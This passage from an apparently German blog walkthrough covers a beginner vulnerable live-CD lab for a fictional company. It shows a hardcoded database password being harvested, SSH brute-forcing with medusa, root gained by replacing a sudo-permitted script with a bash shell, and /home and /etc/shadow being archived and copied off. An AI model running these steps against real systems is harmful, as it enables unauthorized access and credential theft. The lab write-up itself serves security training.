jdavenport@slax:~$ find / -name products.php 2>/dev/null /mnt/live/mnt/hdc/slax/rootcopy/opt/lampp/htdocs/products.php /mnt/live/memory/changes/opt/lampp/htdocs/products.php /mnt/hdc/slax/rootcopy/opt/lampp/htdocs/products.php /opt/lampp/htdocs/products.php jdavenport@slax:~$ ls -ahl /opt/lampp/htdocs/ total 59K dr-xr-xr-x 4 nobody root 180 Feb 1 10:36 ./ dr-xr-xr-x 22 root root 120 Jan 1 2011 ../ -r-xr-xr-x 1 root root 388 Dec 31 2010 add_product.php* -r-xr-xr-x 1 root root 311 Jan 1 2011 connect.php* -rw-r--r-- 1 root root 31K May 11 2007 favicon.ico -r-xr-xr-x 1 root root 328 Jan 8 2011 footer.html* -r-xr-xr-x 1 root root 459 Jan 1 2011 header.html* -r-xr-xr-x 1 root root 614 Jan 1 2011 index.php* -r-xr-xr-x 1 root root 1.0K Jan 8 2011 insert_products.php* -r-xr-xr-x 1 root root 1.2K Jan 1 2011 products.php* drwxr-xr-x 2 nobody root 3 Dec 26 2004 webalizer/ drwxr-xr-x 7 root root 874 Oct 2 2008 xampp/ jdavenport@slax:~$ cat /opt/lampp/htdocs/connect.php <?php //Connect To Database $hostname='localhost'; $username='webapp'; $password='ih@tehackers'; $dbname='merch'; $db = new mysqli($hostname, $username, $password, $dbname); if (mysqli_connect_errno()) { echo '<p>Error: Could not connect to the database. Please try again later.</p>'; exit; } ?>
Die Umleitung der Fehlerausgabe bei find ist im nachhinein entstanden und macht deshalb Sinn weil ich zu diesem Zeitpunkt nicht über Rootrechte verfügt habe was zu einem ganzen haufen Fehlermeldungen führt, so das man die Ausgabe kaum entziffern kann. Wir sehen also das zwar keine Konfig herumliegt aber doch sehr wohl eine Datei namens connect.php was auf den ersten Blick immer sehr einladend Aussieht. Hier findet sich auch das fehlende Passwort für den Benutzer ‚webapp‘, es lautet ‚ih@tehackers‘. Gut das war jetzt noch das Datenbankpasswort das gefehlt hat. Doch so ganz am Ziel war ich noch nicht, Rootrechte währen etwas feines. Also schauen wir uns mal ein wenig genauer um.
jdavenport@slax:~$ ls -ahl total 20K drwx------ 3 jdavenport users 160 Feb 1 14:59 ./ dr-xr-xr-x 53 root root 1.1K Feb 1 10:36 ../ -rw------- 1 jdavenport users 5 Feb 1 14:59 .bash_history drwx------ 2 jdavenport users 40 Feb 1 14:59 .screen/ -rwx------ 1 jdavenport users 3.7K Feb 1 10:36 .screenrc* -rwx------ 1 jdavenport users 779 Feb 1 10:36 .xsession* -rwx------ 1 jdavenport users 495 Feb 1 10:36 company_address.txt* -rwx------ 1 jdavenport users 34 Feb 1 10:36 svrc.txt* jdavenport@slax:~$ cat company_address.txt Good Evening everyone, I would like to start off by letting you know how honored I am for being promoted to server as Primaline's Chief Information Officer. As many of you know, we recently suffered several attacks on our servers from outside parties. Thankfully, none of the attacks were successful. I want you to know that I am personally working to lockdown every server that Primaline controls in order to protect both our company as well as all of you who serve as our valued employees. jdavenport@slax:~$ cat svrc.txt I ate 47 hot dogs last Tuesday!@! jdavenport@slax:~$ cat /etc/passwd root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/log:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/:/bin/false news:x:9:13:news:/usr/lib/news:/bin/false uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games:/bin/false ftp:x:14:50::/home/ftp:/bin/false smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false mysql:x:27:27:MySQL:/var/lib/mysql:/bin/false rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/:/bin/false gdm:x:42:42:GDM:/var/state/gdm:/bin/bash apache:x:80:80:User for Apache:/srv/httpd:/bin/false messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false pop:x:90:90:POP:/:/bin/false nobody:x:99:99:nobody:/:/bin/false kwebber:x:1000:100:Kathleen Webber:/home/kwebber: dcooper:x:1001:100:Donald Cooper:/home/dcooper: djohnson:x:1002:100:Daniel Johnson:/home/djohnson: dgrant:x:1003:100:Daniel Grant:/home/dgrant: tdeleon:x:1004:100:Terrence Deleon:/home/tdeleon: mholland:x:1005:100:Marian Holland:/home/mholland: jduff:x:1006:100:Jerry Duff:/home/jduff: mbryan:x:1007:100:Michael Bryan:/home/mbryan: bwatkins:x:1008:100:Brandon Watkins:/home/bwatkins: aheflin:x:1009:100:Anna Heflin:/home/aheflin: qpowers:x:1010:100:Quinton Powers:/home/qpowers: aallen:x:1011:100:Aaron Allen:/home/aallen: swarren:x:1012:100:Samuel Warren:/home/swarren: ktso:x:1013:100:Kristen Tso:/home/ktso: mrodriguez:x:1014:100:Manuel Rodriguez:/home/mrodriguez: sgains:x:1015:100:Susan Gains:/home/sgains: bbanter:x:1016:100:Bob Banter:/home/bbanter: krenfro:x:1017:100:Kimberly Renfro:/home/krenfro: kclemons:x:1018:100:Kathryn Clemons:/home/kclemons: jdavenport:x:1019:100:James Davenport:/home/jdavenport: dgilfillan:x:1020:100:Darcy Gilfillan:/home/dgilfillan: jayala:x:1021:100:John Ayala:/home/jayala: mnader:x:1022:100:Muhammad Nader:/home/mnader: ccoffee:x:1023:100:Chad Coffee:/home/ccoffee: strammel:x:1024:100:Stephanie Trammel:/home/strammel: jalvarez:x:1025:100:Joy Alvarez:/home/jalvarez: jfranklin:x:1026:100:Johnny Franklin:/home/jfranklin: amaynard:x:1027:100:Arthur Maynard:/home/amaynard: rdominguez:x:1028:100:Rafael Dominguez:/home/rdominguez: rjacobson:x:1029:100:Randy Jacobson:/home/rjacobson: aharp:x:1030:100:Annie Harp:/home/aharp: jbresnahan:x:1031:100:Jay Bresnahan:/home/jbresnahan: lmartinez:x:1032:100:Luis Martinez:/home/lmartinez: cchisholm:x:1033:100:Cindy Chisholm:/home/cchisholm: rpatel:x:1034:100:Randall Patel:/home/rpatel: sjohnson:x:1035:100:Steven Johnson:/home/sjohnson: dwestling:x:1036:100:David Westling:/home/dwestling: tgoodchap:x:1037:100:Taj Goodchap:/home/tgoodchap: lmorales:x:1038:100:Lindsey Morales:/home/lmorales: aweiland:x:1039:100:Adam Weiland:/home/aweiland: jalcantar:x:1040:100:Jesse Alcantar:/home/jalcantar: bphillips:x:1041:100:Brad Phillips:/home/bphillips: dtraylor:x:1042:100:Donnie Traylor:/home/dtraylor: myajima:x:1043:100:Moto Yajima:/home/myajima: dstevens:x:1044:100:Donald Stevens:/home/dstevens: hlovell:x:1045:100:Henrietta Lovell:/home/hlovell: aadams:x:1046:100:Adam Adams:/home/aadams: aspears:x:1047:100:Adam Spears:/home/aspears: aard:x:1048:100:Aaron Ard:/home/aard: jdavenport@slax:~$ cat /etc/group #root:x:0:root bin:x:1:root,bin daemon:x:2:root,bin,daemon sys:x:3:root,bin,adm adm:x:4:root,adm,daemon tty:x:5: disk:x:6:root,adm lp:x:7:lp mem:x:8: kmem:x:9: wheel:x:10:root floppy:x:11:root mail:x:12:mail news:x:13:news uucp:x:14:uucp man:x:15: audio:x:17:root video:x:18:root cdrom:x:19:root games:x:20: slocate:x:21: utmp:x:22: smmsp:x:25:smmsp tape:x:26:root mysql:x:27: rpc:x:32: sshd:x:33:sshd gdm:x:42: shadow:x:43: ftp:x:50: apache:x:80: messagebus:x:81: haldaemon:x:82: plugdev:x:83:root power:x:84: pop:x:90:pop scanner:x:93: nobody:x:98:nobody nogroup:x:99: users:x:100:ccoffee console:x:101: admin:x:102:ccoffee jdavenport@slax:~$
Was haben wir da jetzt alles herausgefunden? Zum einen haben wir im Homeverzeichnis von jdavenport ein paar Textdateien gefunden die uns sagen das er viel zu viele Hotdogs in sich hineinschaufelt und das anscheinend in der Firma des öfteren mal ein wenig gehackt wurde und sie jetzt dabei sind die Server abzusichern. Mit relativ wenig erfolg wie man sieht. In der /etc/groups kann man sehen das es einen Benutzer gibt der in der Gruppe admin ist ‚ccoffee‘. Den sollte man etwas genauer unter die Lupe nehmen also schnell in die Passwortliste geschaut und mit ‚ccoffee# und ‚consumer‘ versuchen einzuloggen.
root@bt:~# ssh ccoffee@192.168.1.120 ccoffee@192.168.1.120's password: Permission denied, please try again. ccoffee@192.168.1.120's password: Permission denied, please try again. ccoffee@192.168.1.120's password: root@bt:~#
Was zur Hölle soll das denn, da wird doch nicht jemand sein Passwort geändert haben? Und ich dachte schon es würde ganz einfach werden. Also schauen wir uns nochmal unsere Passwortlist genauer an und probieren einfach mal alle Benutzer durch um zu sehen wer da noch so ein anderes Passwort für ssh hat. Also erstmal Benutzernamen und Passwörter in ein vernünftiges Format bringen und dann wird medusa angekurbelt. Mit dem Tool habe ich bereits einige gute Erfahrungen gemacht.
root@bt:~# medusa -h 192.168.1.120 -C medusa-mysql-user-password.txt -M ssh -O ssh-passwords.txt Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: dgrant (1 of 50, 0 complete) Password: qwerty (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: goodchap (2 of 50, 1 complete) Password: welcome (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: kclemons (3 of 50, 2 complete) Password: gizmodo (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: jayala (4 of 50, 3 complete) Password: 666666 (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: dstevens (5 of 50, 4 complete) Password: 12345678 (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: qpowers (6 of 50, 5 complete) Password: lifehack (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: aharp (7 of 50, 6 complete) Password: 654321 (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: swarren (8 of 50, 7 complete) Password: princess (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: cchisholm (9 of 50, 8 complete) Password: michelle (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: jalcantar (10 of 50, 9 complete) Password: master (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: jfranklin (11 of 50, 10 complete) Password: abc123 (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: lmartinez (12 of 50, 11 complete) Password: pokemon (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: sgains (13 of 50, 12 complete) Password: 111111 (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: jbresnahan (14 of 50, 13 complete) Password: password (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: dtraylor (15 of 50, 14 complete) Password: killer (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: dgilfillan (16 of 50, 15 complete) Password: 12345 (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: sjohnson (17 of 50, 16 complete) Password: sunshine (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: aspears (18 of 50, 17 complete) Password: gawker (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: tdeleon (19 of 50, 18 complete) Password: passw0rd (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: myajima (20 of 50, 19 complete) Password: shadow (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: mnader (21 of 50, 20 complete) Password: whatever (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: ktso (22 of 50, 21 complete) Password: jordan (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: kwebber (23 of 50, 22 complete) Password: kotaku (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: aadams (24 of 50, 23 complete) Password: superman (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: rpatel (25 of 50, 24 complete) Password: jennifer (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: djohnson (26 of 50, 25 complete) Password: Password (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: lmorales (27 of 50, 26 complete) Password: soccer (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: amaynard (28 of 50, 27 complete) Password: pepper (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: hlovell (29 of 50, 28 complete) Password: football (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: ccoffee (30 of 50, 29 complete) Password: consumer (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: dwestling (31 of 50, 30 complete) Password: 1234 (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: strammel (32 of 50, 31 complete) Password: computer (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: bbanter (33 of 50, 32 complete) Password: michael (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: mholland (34 of 50, 33 complete) Password: letmein (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: aheflin (35 of 50, 34 complete) Password: baseball (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: jdavenport (36 of 50, 35 complete) Password: babyl0n (1 of 1 complete) ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jdavenport Password: babyl0n [SUCCESS] ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: aard (37 of 50, 36 complete) Password: internet (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: mbryan (38 of 50, 37 complete) Password: monkey (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: rdominguez (39 of 50, 38 complete) Password: trustno1 (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: dcooper (40 of 50, 39 complete) Password: blahblah (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: jduff (41 of 50, 40 complete) Password: nintendo (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: jalvarez (42 of 50, 41 complete) Password: starwars (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: krenfro (43 of 50, 42 complete) Password: 0 (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: mrodriguez (44 of 50, 43 complete) Password: 1234567 (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: bwatkins (45 of 50, 44 complete) Password: 123456 (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: aweiland (46 of 50, 45 complete) Password: dragon (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: bphillips (47 of 50, 46 complete) Password: cheese (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: aallen (48 of 50, 47 complete) Password: 123123 (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: rjacobson (49 of 50, 48 complete) Password: batman (1 of 1 complete) ACCOUNT CHECK: [ssh] Host: 192.168.1.120 (1 of 1, 0 complete) User: webapp (50 of 50, 49 complete) Password: ih@tehackers (1 of 1 complete)
Wow, sieht so aus als hätte ich vorher nur extremes Glück gehabt als ich mir jdavenport ausgesucht habe aber immerhin haben wir mal die Benutzernamen. Also bauen wir uns mal ein paar neue Listen. Zum einen eine users Liste und zum anderen werfen wir mal die Passwörter in eine Liste, vieleicht haben wir ja nochmal Glück und alle bis auf zwei verwenden jetzt ‚batman‘ 😉 Die users Liste ergänzen wir noch um den Benutzer root und schon geht es wieder los.
Der passende Befehl lautet:
root@bt:~# medusa -h 192.168.1.120 -U users.txt -P passwords.txt -O medusa-ssh-passwords.txt -M ssh
Die Ausgabe erspare ich uns jetzt mal an dieser Stelle, aber die Datei medusa-ssh-passwords.txt kann sich sehen lassen.
# medusa -h 192.168.1.120 -U users.txt -P passwords.txt -O medusa-ssh-passwords.txt -M ssh ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: aadams Password: master [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: aard Password: soccer [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: aharp Password: 12345 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: aheflin Password: starwars [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: amaynard Password: gizmodo [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: aspears Password: whatever [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: aweiland Password: shadow [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: bbanter Password: 1234 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: bphillips Password: blahblah [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: bwatkins Password: monkey [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: ccoffee Password: 123123 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: dcooper Password: 12345678 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: dgilfillan Password: jennifer [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: dgrant Password: superman [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: djohnson Password: lifehack [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: dstevens Password: 111111 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: dtraylor Password: computer [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: dwestling Password: pepper [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: hlovell Password: nintendo [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jalcantar Password: Password [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jalvarez Password: michelle [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jayala Password: letmein [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jbresnahan Password: batman [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jdavenport Password: babyl0n [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jduff Password: sunshine [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: jfranklin Password: passw0rd [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: kclemons Password: gawker [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: krenfro Password: football [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: ktso Password: baseball [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: kwebber Password: 123456 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: lmartinez Password: abc123 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: lmorales Password: qwerty [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: mbryan Password: pokemon [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: mholland Password: princess [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: mnader Password: 666666 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: mrodriguez Password: killer [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: myajima Password: 0 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: qpowers Password: consumer [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: rdominguez Password: dragon [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: rjacobson Password: 654321 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: rpatel Password: michael [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: sgains Password: internet [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: sjohnson Password: trustno1 [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: strammel Password: welcome [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: swarren Password: cheese [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: tdeleon Password: kotaku [SUCCESS] ACCOUNT FOUND: [ssh] Host: 192.168.1.120 User: tgoodchap Password: 1234567 [SUCCESS]
Zu immerhin 47 der 51 Benutzer in der users.txt haben wir jetzt das Passwort um uns per ssh einzuloggen. Einer der Benutzer in der users.txt ‚webapp‘ fällt schon mal weg da dieser nur der vollständigkeit halber dort noch drinsteht und keinen Eintrag in der /etc/passwd besitzt. Fehlen uns also noch 3 Benutzer ‚root‘,’aalan‘ und ‚cchisholm‘ während sich medusa diesem Problem mit einer etwas längeren Passwortliste annimmt machen wir mal da weiter wo wir vorhin aufgehört haben. ‚ccoffee‘ ist der einzige Benutzer in der admin Gruppe und jetzt haben wir sein Passwort für den ssh Zugang also schauen wir mal was an der admin Gruppe bzw. ‚ccoffe‘ so besonders ist.
root@bt:~# ssh ccoffee@192.168.1.120 ccoffee@192.168.1.120's password: Last login: Fri Feb 1 16:45:27 2013 from 192.168.1.22 Linux 2.6.27.27. ccoffee@slax:~$ ls -ahl total 16K drwx------ 4 ccoffee users 160 Feb 1 16:50 ./ dr-xr-xr-x 53 root root 1.1K Feb 1 10:36 ../ -rw------- 1 ccoffee users 680 Feb 1 16:53 .bash_history drwx------ 2 root root 120 Feb 1 16:52 .mc/ -rwx------ 1 ccoffee users 3.7K Feb 1 10:36 .screenrc* -rwx------ 1 ccoffee users 779 Feb 1 10:36 .xsession* -rwx------ 1 ccoffee users 57 Feb 1 10:36 DONOTFORGET* drwx------ 2 ccoffee users 60 Feb 1 16:53 scripts/ ccoffee@slax:~$ cat DONOTFORGET remember your 20th anniversary on the 5th!!!!!!!!!1111!! ccoffee@slax:~$ ls -ahl scripts/ total 4.0K drwx------ 2 ccoffee users 60 Feb 1 16:53 ./ drwx------ 4 ccoffee users 160 Feb 1 16:50 ../ -rws--x--x 1 root admin 110 Feb 1 10:36 getlogs.sh* ccoffee@slax:~$ cat scripts/getlogs.sh cat: scripts/getlogs.sh: Permission denied ccoffee@slax:~$ scripts/getlogs.sh /bin/bash: scripts/getlogs.sh: Permission denied ccoffee@slax:~$
Das getlogs.sh Skript im scripts Ordner sieht doch schonmal ganz brauchbar aus. Nur leider können wir es weder lesen noch ausführen. Also was soll das dann da? Schauen wir mal ein wenig weiter. Vieleicht hat unser Benutzer ja doch noch irgendwelche Sonderrechte.
Nachdem ich eine Weile gesucht hatte kam dann doch noch das Erfolgserlebnis.
ccoffee@slax:~$ sudo -l User ccoffee may run the following commands on this host: (root) NOPASSWD: /home/ccoffee/scripts/getlogs.sh ccoffee@slax:~$
Ccoffee hat also das Recht die getlogs.sh mit Rootrechten auszuführen. Jetzt muss ich es nur noch irgendwie schaffen diese Datei zu ändern. Versuchen wir es doch mal mit umbenennen anstatt mit ändern.
ccoffee@slax:~$ cd scripts/ ccoffee@slax:~/scripts$ mv getlogs.sh getlogs.sh.old ccoffee@slax:~/scripts$ cat >getlogs.sh #!/bin/sh /bin/bash ^C ccoffee@slax:~/scripts$ ls getlogs.sh getlogs.sh.old* ccoffee@slax:~/scripts$ chmod +x getlogs.sh ccoffee@slax:~/scripts$ sudo /home/ccoffee/scripts/getlogs.sh bash-3.1# whoami root bash-3.1#
So das wars dann offiziell mit den eingeschränkten Rechten. Jetzt muss ich eigentlich nur noch die Beute sichern 😉
bash-3.1# tar -czf /root/backup.tar.gz /home/ /etc/shadow tar: Removing leading `/' from member names bash-3.1# mv /root/backup.tar.gz /home/ccoffee/ bash-3.1# chmod 777 /home/cc cchisholm/ ccoffee/ bash-3.1# chmod 777 /home/cc cchisholm/ ccoffee/ bash-3.1# chmod 777 /home/ccoffee/backup.tar.gz bash-3.1# exit exit ccoffee@slax:~/scripts$ exit logout Connection to 192.168.1.120 closed. root@bt:~# scp ccoffee@192.168.1.120:backup.tar.gz ./ ccoffee@192.168.1.120's password: backup.tar.gz 100% 18KB 18.1KB/s 00:00 root@bt:~#
Also halten wir fest, 47 Benutzer Accounts geknackt, 1mal Rootrechte ergattert, alle Benutzerverzeichnisse kopiert, die /etc/shadow Datei für später kopiert und natürlich einen Dump der kompletten Datenbank. So muss das laufen 😉 Für einen kompletten Sieg fehlen jetzt nur noch die verbleibenden Passwörter und im Idealfall das root Passwort aber darauf lässt sich zur Not auch verzichten. Ich würde zumindest sagen Ziel erreicht. Für ne kleine Fingerübung war das zumindest einmal nicht so wirklich schlecht. Jetzt werde ich da noch ein wenig mit der Backtrack dran herumspielen und schauen was andere Tools da für Ergebnisse liefern.
Im allgemeinen Schätze ich das Szenario dieser Livecd als durchaus realistisch ein, leider auch was XAMPP angeht. Ein früherer Programmierlehrer hat mir damals als wir im Untericht damit arbeiten mussten ganz stolz erzählt das es das Ding auch für Linux gibt daher bin ich durchaus der Meinung das es irgendwo da draußen noch eine menge Leute gibt die sowas produktiv einsetzen. Was sqlmap angeht so hat mich das Tool doch ernsthaft überrascht. Mir war zwar klar das die größten Probleme in fast jeder Anwendung in nicht validierten Eingabeparametern liegen oder noch schlimmer an Userinput der nicht als solcher angesehen wird z.B.: codeinjection per Logfile, eines meiner Lieblingshorrorszenarios. Das manche Datenbanknutzer viel zu viele Rechte haben ist jetzt in der Praxis auch nicht so wirklich neu, ebenso wie der drang von Anwendern ihre Passwörter überall wieder zu verwerten. Alles in allem also alles sehr bekannte Probleme die in bei dieser livecd relativ realistisch zusammengemixt wurden. Gut ich gebe zu die Passwörter wahren vielleicht ein wenig schwächer als man das normalerweise in einem solchen Szenario vorfindet und bei einer echten Webseite muss man meist mehr als 5 Minuten suchen um den richtigen Parameter zu finden doch alles in allem ein relativ schöner Mix. Vielleicht doch einen Tick zu einfach aber dafür gehört die CD ja noch zum Einsteigerlevel. Zum tooltesten ist die CD zumindest mehr als ausreichend.
Ach ja wer sich an den Zeitstempeln der Dateien oder in den Ausgaben der Programme stört dem sei gesagt das ich einiges davon im Nachhinein machen musste da ich nicht wirklich jede meiner Aktionen Protokolliert habe. Aber hey immerhin hat der Eintrag hier ins Blog so zumindest länger gedauert als die ganze Fingerübung 😉
UPDATE: Da ich mich mittlerweile durch meine Beute gewühlt habe möchte ich zwecks Realitätsabgleich mal erwähnen zu wem der Account gehörte mit dem wir uns auf dem System eingeloggt haben, jdavenport ist der CIO dieser fiktiven Firma und wohlgemerkt der einzige der für beide Zugänge das gleiche Passwort verwendet hat. Wer hat nochmal behauptet das dieses Szenario unrealistisch ist?
UPDATE2: Was die fehlenden Passwörter angeht so hat ein Aufruf von john auf die /etc/shadow Datei bereits nach wenigen Minuten das passende Ergebnis ausgespuckt. ‚aallen‘ hat als Passwort ‚jordan‘ und ‚cchisholm‘ hat sich für ‚iloveyou‘ als Passwort entschieden. Das Passwort für den root Account fehlt zwar noch immer aber das wird auch so bleiben da mir zu einem reinen Bruteforce gerade die Zeit fehlt und meine Auswahl an Passwortlisten erschöpft ist. Das Passwort von root zu kennen ist ja auch nicht wirklich nötig, da wir uns die Rootrechte ja bereits auf anderem Wege beschafft haben.